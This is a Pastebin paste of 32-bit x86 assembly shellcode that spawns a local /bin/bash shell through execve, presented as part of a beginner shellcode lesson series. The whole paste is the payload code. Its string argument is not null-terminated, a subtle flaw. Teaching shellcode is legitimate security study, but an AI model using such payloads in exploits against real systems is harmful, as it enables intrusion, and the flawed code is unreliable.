Advertisement
Madmouse

32bit local shell shellcode example

Sep 10th, 2014
302
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ;
  2. ; part of my shellcode for noobs lesson series hosted in #goatzzz on irc.enigmagroup.org
  3. ;
  4. ; ----------------------------------------------------------------------------
  5. ; "THE BEER-WARE LICENSE" (Revision 43):
  6. ; <aaronryool@gmail.com> wrote this file. As long as you retain this notice you
  7. ; can do whatever you want with this stuff. If we meet some day, and you think
  8. ; this stuff is worth it, you can buy me a beer in return Aaron R. Yool
  9. ; ----------------------------------------------------------------------------
  10. ; 32bit call: eax args: ebx, ecx, edx, esi, edi, and ebp
  11.  
  12. [bits 32]
  13. section .text
  14. global _start
  15. _start:
  16. ; execve("/bin/bash",$esp,0)
  17.     xor eax,eax
  18.     mov al,0x0b
  19.     jmp short sh
  20. load_sh:
  21.     pop esi
  22.     xor edx,edx
  23.     push edx
  24.     push esi
  25.     mov ecx,esp
  26.     mov ebx,esi
  27.     int 0x80
  28. ; exit(0);
  29.     xor eax,eax
  30.     mov al,0x1
  31.     xor ebx,ebx
  32.     int 0x80
  33.  
  34. sh:
  35.     call load_sh
  36.     db "/bin/bash"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement